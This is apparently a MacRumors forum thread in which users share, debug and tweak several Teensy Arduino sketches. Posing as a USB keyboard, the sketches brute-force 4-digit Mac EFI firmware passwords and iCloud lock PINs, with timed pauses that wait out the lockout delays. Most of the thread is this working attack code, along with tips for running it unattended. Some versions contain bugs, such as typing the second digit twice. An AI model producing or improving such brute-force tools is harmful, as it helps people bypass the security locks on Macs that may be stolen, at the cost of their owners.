Become a MacRumors Supporter for $50/year with no ads, ability to filter front page stories, and private forums.
Status
Not open for further replies.
Modified

Okay.... Modified the code to be :


Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay (61000);
    firstcompleted = true;
  } 
  else if ((firstloop < 5) && (firstcompleted = false)){
    ++firstloop;
  }
//lets wait 5 minutes and one second
  if ((secondloop >= 1) && (secondcompleted = false) && (firstcompleted = true)){
    delay (301000);
    secondloop = 0;
    secondcompleted = true;
  } 
  else if ((secondloop < 1) && (secondcompleted = false) && (firstcompleted = true)){
    ++secondloop;
  }
//lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted = true)){
    delay (901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
  } 
  else if ((thirdloop < 1) && (secondcompleted = true)){
    ++thirdloop;
  }
//lets get to work
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}


But it still didnt work properly....
My teensy 3.0... started
Typed >> 0000
and stopped there forever.
 
Okay.... Modified the code to be :


Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay (61000);
    firstcompleted = true;
  } 
  else if ((firstloop < 5) && (firstcompleted = false)){
    ++firstloop;
  }
//lets wait 5 minutes and one second
  if ((secondloop >= 1) && (secondcompleted = false) && (firstcompleted = true)){
    delay (301000);
    secondloop = 0;
    secondcompleted = true;
  } 
  else if ((secondloop < 1) && (secondcompleted = false) && (firstcompleted = true)){
    ++secondloop;
  }
//lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted = true)){
    delay (901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
  } 
  else if ((thirdloop < 1) && (secondcompleted = true)){
    ++thirdloop;
  }
//lets get to work
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}


But it still didnt work properly....
My teensy 3.0... started
Typed >> 0000
and stopped there forever.

I have the same problem.

I just received my Teensy. The code for iCloud orvatech created does not work.

I tried your modified version but it just stops at 000.
 
OK it is somethin in the login I am using, lets go over it:

The first conditional loop evalueates weather or not firstloop is equal or greater than 5, if so, then it waits 61 seconds and sets to true firstcompleted but if that is not the case it increases firstloop by one as long as it is not greater than 5 and as long as firstcompleted is equal to false
Code:
//lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay (61000);
    firstcompleted = true;
  } 
  else if ((firstloop < 5) && (firstcompleted = false)){
    ++firstloop;
  }


This next loop evaluates if secondloop is less or equal to 1 it also ensures that secondcompleted is set to false and that firstcompleted is true making it sure that we already went thhrough the first five attempts. If all these conditions are met then it waits for 5 minutes and 1 second, it also sets secondcompleted to true. If these conditions are not met, then it increases secondcompleted by 1 as long as secondloop is less than one and secondcompleted is false and that we have completed the first loop.

Code:
//lets wait 5 minutes and one second 
  if ((secondloop >= 1) && (secondcompleted = false) && (firstcompleted = true)){
    delay (301000);
    secondloop = 0;
    secondcompleted = true;
  } 
  else if ((secondloop < 1) && (secondcompleted = false) && (firstcompleted = true)){
    ++secondloop;
  }


This third and last conditional loop, evaluates if thirdloop is less or equal to 1 and that the second loop was completed. If this is the case then in waits for 15 mintutes and one second and it resets all previous variables so that we can start this wait/attempts secuences all over. If the previous mentioned conditions are not met, then it increases thirdloop as long as we have completed the second loop.

Code:
//lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted = true)){
    delay (901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
  } 
  else if ((thirdloop < 1) && (secondcompleted = true)){
    ++thirdloop;
  }


I am sure it is either somethin in the login of my conditions or... probably the variables inside these loops remain inside and are not shared with others but I find this dificult since I am declaring them at the begining of the sketch.

Please take a look to see if we are missing something. I am going to flash @ungshunjin fixed code (thank you!) and test it in a plain text document for an hour to see what happens aftger we reache 21 minutes and 3 second :)
 
Working code, I tested untill after the 5 minutes wait. Can some one please test it?

I have also shaved some time before the first wait and each secuential attempt

Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
  digitalWrite(ledPin, LOW);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1minute and 1 second
  if (firstloop >= 5){
    delay(61000);
    firstcompleted = true;
    digitalWrite(ledPin, LOW);
  } 
  else if ((firstloop < 5) && (firstcompleted == false)){
    digitalWrite(ledPin, HIGH);
    ++firstloop;
    digitalWrite(ledPin, LOW);
  }
//lets wait 5 minutes and one second
  if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
    delay(301000);
    secondloop = 0;
    secondcompleted = true;
    digitalWrite(ledPin, LOW);
  } 
  else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
    ++secondloop;
    digitalWrite(ledPin, LOW);
  }
//lets wait 15 minutes and 1 second
  if ((thirdloop >= 1) && (secondcompleted == true)){
    delay(901000);
    thirdloop = 0;
    secondcompleted = false;
    firstcompleted = false;
    firstloop = 0;
    secondloop = 0;
    thirdloop = 0;
    digitalWrite(ledPin, LOW);
  } 
  else if ((thirdloop < 1) && (secondcompleted == true)){
    ++thirdloop;
    digitalWrite(ledPin, LOW);
  }
//lets get to work
  if (counter <= 9999){
    delay(3530);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
    digitalWrite(ledPin, LOW);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

If some one want to mess with it and needs to cumentation, here are some expamples and documentation about conditional loops for Arduino based sketches http://arduino.cc/en/Reference/If.

PD: If some one needs my help feel free to ping me via Twitter
 
Last edited:
Code Solved...

Debugging and unlimited testings.... finally... something that worked...

Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}
 
how would i go about getting this script to work on a Leostick?

The Leostick would need to support USB HID, if it does, then you just use the same method that we use for the Teensy.

If it doesnt, then you will need to build a shield that supports USB HID and then you just use the same method that we use for the Teensy.
 
  • Like
Reactions: crazyjnz
Testing

Working code, I tested untill after the 5 minutes wait. Can some one please test it?

With this code I get these errors when trying to compile, I just got the Teensy V3 so it might be something I'm missing:

sketch_mar14a.ino: In function 'void loop()':
sketch_mar14a.ino:93:24: error: expected '}' at end of input

Debugging and unlimited testings.... finally... something that worked...

With this code it seemed to work then hung at the firmware input with solid light. ill test in a text file on a different Mac.
 
Last edited:
Debugging and unlimited testings.... finally... something that worked...

Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}

Doesn't work for me. There needs to be some delay, around 17 seconds after each code is input, otherwise my Macbook like kind of lags and inputs the code at the wrong time.

When there's a 1 minute wait, I would like it to be 1 minute 30 delay and when it's 5 minutes wait, 5 minute 30 seconds.

Could you make these modifications for me as I am not familiar with the Teensy language?

I'm currently bruteforcing the EFI with Orvatech's code, been 25 hours so gone through around 4500 codes.

I'm probably not going to need it, but it will probably help others. The iCloud pin is better to bruteforce because you don't need to keep an eye on it. The EFI however, after the pin has been entered correctly. Teensy will automatically press enter so it starts up and goes to the iCloud pin, meaning you have to estimate where the code is at, modify the starting number in the sketch and re-run it.
 
How did you flash Orvatech's code? It just gives me errors while its compiling (in my previous post). I modded ungshunjin's code to NOT stop. You can just change the "delay". Its in milliseconds to meet your needs.

Code:
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
 
How did you flash Orvatech's code? It just gives me errors while its compiling (in my previous post). I modded ungshunjin's code to NOT stop. You can just change the "delay". Its in milliseconds to meet your needs.

Code:
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;

Not the code that Orvatech posted for iCloud as that one is incorrect.

This one from his blog for the EFI.

#include <usb_keyboard.h>
const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
delay(10000);
}
void loop(){
keyboard_modifier_keys = 0;
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending forth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending enter
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}
 
Code for iCloud

Sorry... the code i posted is for the iCloud XXXX pin.
The code that orvtech posted. It doesnt work for me, as the program seems to skip the 2nd loop to 3rd loop right after 5 tries, so i made some slight changes to the code. And it worked for me.
 
Code:
//lets wait 1 minute and 1 second
    if (loops == 5){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 6){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 7){
    delay(901000);
    loops = 0;
  }

If you need to tweak the timing a little... the numbers after the delay() function is the wait time for the 1min,5min and 15min wait intervals.

1second = 1000milliseconds

So just add 30000 to the values () if you need more delay.



Code:
delay(1500);
    digitalWrite(ledPin, LOW);
    delay(800);
    digitalWrite(ledPin, HIGH);

I have also tweaked the speed of typing. So if you need it to type slower, add to these values.

----------

Do not let the system to auto sleep or standby, as it will affect the process. While the 1 key entry will wake the system and the key entry will start with the 2nd digit... missing 1 digit.

Can be solved by adding
Code:
Keyboard.press(KEY_ENTER);
Keyboard.release(KEY_ENTER);
before the 3rd loop... as this is the longest wait time, 15mins, causing system to sleep/standby.
 
Thanks, I'll give that a go, if the bruteforcing fails.

Here's a quick document I made in excel to estimate where the Teensy is at, if anyone wants it, feel free to dl it if you want.

You basically just type in the time it's taken in hours.

If you're bruteforcing you should always leave a timer running.

sequence014.gif


DL:
 
This is great information. Thanks. I just ordered a teensy and can't wait to try this out.

I'm a total newb to this whole process but would it be beneficial to point a webcam at the screen and record the entries to capture the correct one?

Keep up the awesome work.
 
This is great information. Thanks. I just ordered a teensy and can't wait to try this out.

I'm a total newb to this whole process but would it be beneficial to point a webcam at the screen and record the entries to capture the correct one?

Keep up the awesome work.

Depends.

If you go for the EFI, it doesn't show you which keys are being pressed.

The iCloud one however does, but periodically you have to wait before it will allow you to enter in another password after a wrong one, which means it takes longer.

It can take 45+ hours so if you want to record for that long, go for it.

I don't think you'd need to record it though, as I think once it has been entered you don't need to enter it again.
 
Doesn't work for me. There needs to be some delay, around 17 seconds after each code is input, otherwise my Macbook like kind of lags and inputs the code at the wrong time.

When there's a 1 minute wait, I would like it to be 1 minute 30 delay and when it's 5 minutes wait, 5 minute 30 seconds.

Could you make these modifications for me as I am not familiar with the Teensy language?

I'm currently bruteforcing the EFI with Orvatech's code, been 25 hours so gone through around 4500 codes.

I'm probably not going to need it, but it will probably help others. The iCloud pin is better to bruteforce because you don't need to keep an eye on it. The EFI however, after the pin has been entered correctly. Teensy will automatically press enter so it starts up and goes to the iCloud pin, meaning you have to estimate where the code is at, modify the starting number in the sketch and re-run it.


Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int firstloop = 0;
int secondloop = 0;
int thirdloop = 0;
boolean firstcompleted = false;
boolean secondcompleted = false;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT);
delay(10000);
digitalWrite(ledPin, LOW);
}
void loop(){
keyboard_modifier_keys = 0;
//lets wait 1 minute and 30 seconds
if (firstloop >= 5){
delay(90000);
firstcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((firstloop < 5) && (firstcompleted == false)){
digitalWrite(ledPin, HIGH);
++firstloop;
digitalWrite(ledPin, LOW);
}
//lets wait 5 minutes and 30 seconds
if ((secondloop >= 1) && (secondcompleted == false) && (firstcompleted == true)){
delay(330000);
secondloop = 0;
secondcompleted = true;
digitalWrite(ledPin, LOW);
}
else if ((secondloop < 1) && (secondcompleted == false) && (firstcompleted == true)){
++secondloop;
digitalWrite(ledPin, LOW);
}
//lets wait 15 minutes and 30 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(930000);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
}
else if ((thirdloop < 1) && (secondcompleted == true)){
++thirdloop;
digitalWrite(ledPin, LOW);
}
//lets get to work
if (counter <= 9999){
delay(17530);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
digitalWrite(ledPin, LOW);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}

Above is the code you asked, let me know if it works for you... what I really would like is to otpimize it to save as much time as possible this reducing the time it takes to run all 10000 combinations.

----------

This is great information. Thanks. I just ordered a teensy and can't wait to try this out.

I'm a total newb to this whole process but would it be beneficial to point a webcam at the screen and record the entries to capture the correct one?

Keep up the awesome work.
WHat you can do is periodically (lets say every 2 hours or every time you remember) take a photo, then you would have a range of number of the last known state where it did not work and the first known state where it worked.... then you can modify the program to run over that range again an pay more attention to it or... break it in to 3 batches.
 
code not working!!!!

I tried this code and it went from 0099 to 1100. Then from 1199 to 2200 if I remember right. All I changed was the "loops" to 10000 so I wouldn't have a wait time since I was doing EFI. Any fix for this or was it what I changed that caused it? Ill try orvtech's again since i couldnt get it to compile yesterday. Right now Im just testing (for EFI in a txt file right now) then I'll lock a few with icloud and test.

Code:
#include <usb_keyboard.h>
const int ledPin = 13;
int counter = 0;
//waits for iCould
int loops = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
  pinMode(ledPin, OUTPUT);
  delay(30000);
}
void loop(){
  keyboard_modifier_keys = 0;
//lets wait 1 minute and 1 second
    if (loops == 10000){
    delay(61000);
  } 
//lets wait 5 minutes and one second
    else if (loops == 10000){
    delay(301000);
  }
//lets wait 15 minutes and 1 second
    else if (loops == 10000){
    delay(901000);
    loops = 0;
  }
//lets get to work
  if (counter <= 9999){
    delay(1500);
    digitalWrite(ledPin, LOW);
    delay(800);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  ++loops;
  fakecounter = counter;
}
 
I just tried that iCloud code, doesn't work for me. I think it's my iCloud menu thingy, it appears to be kinda laggy for some reason after you've typed in a password. Thanks anyways.


Bruteforcing failed, by the time I woke up, it was typing in 3 digits instead of one for some resaon, but what I have found out is that is past 6000. I'm going be going backwards 1000 at a time.

Are we sure it's a 4 digit passcode for the EFI?
 
EFI code reset on eBay

Hey guys, for those of you still struggling with do it yourself way or just don't have time for it (like myself) I found ebay listing who does it and have very decent amount of positive feedback from users. AND he accepts much lower offers too... ;) Here's ebay item# 261162024499

Sending my MBP today and will let you know how it goes.
 
SUCCESSSSSSS!!!!!!!!

I'm in!

Thanks to @Orvatech.


Hey guys, for those of you still struggling with do it yourself way or just don't have time for it (like myself) I found ebay listing who does it and have very decent amount of positive feedback from users. AND he accepts much lower offers too... ;) Here's ebay item# 261162024499

Sending my MBP today and will let you know how it goes.

Please stop that blatant self promotion.
 
Really??

Please stop that blatant self promotion.[/QUOTE]

Easy there! I have no idea who this guy is.. I simply don't have time to invest in DIY and rather just pay something to get it done.
I was happy that I found this and wanted to share with those who might be in the same boat as I am. After all, this thread is to help finding the solution to this problem, right? And there's always more then one way to solve anything.
 
using orvtech's code can I add a key press here, so it doesn't sleep? Not sure if it does or not in the iCloud lock out

Code:
//lets wait 15 minutes and 30 second
if ((thirdloop >= 1) && (secondcompleted == true)){
delay(930000);
Keyboard.press(KEY_SPACE);
Keyboard.release(KEY_SPACE);
thirdloop = 0;
secondcompleted = false;
firstcompleted = false;
firstloop = 0;
secondloop = 0;
thirdloop = 0;
digitalWrite(ledPin, LOW);
 
SUCCESSSSSSS!!!!!!!!

I'm in!

Thanks to @Orvatech.




Please stop that blatant self promotion.

That's awesome! We're u on 4 pin iCloud screen before? I'm thinking about ordering a teensy from somewhere ( Not sure where to get one lol) and trying this myself! Don't want to waste the money unless I know there's a working code though.
 
Status
Not open for further replies.
Register on MacRumors! This sidebar will go away, and you'll see fewer ads.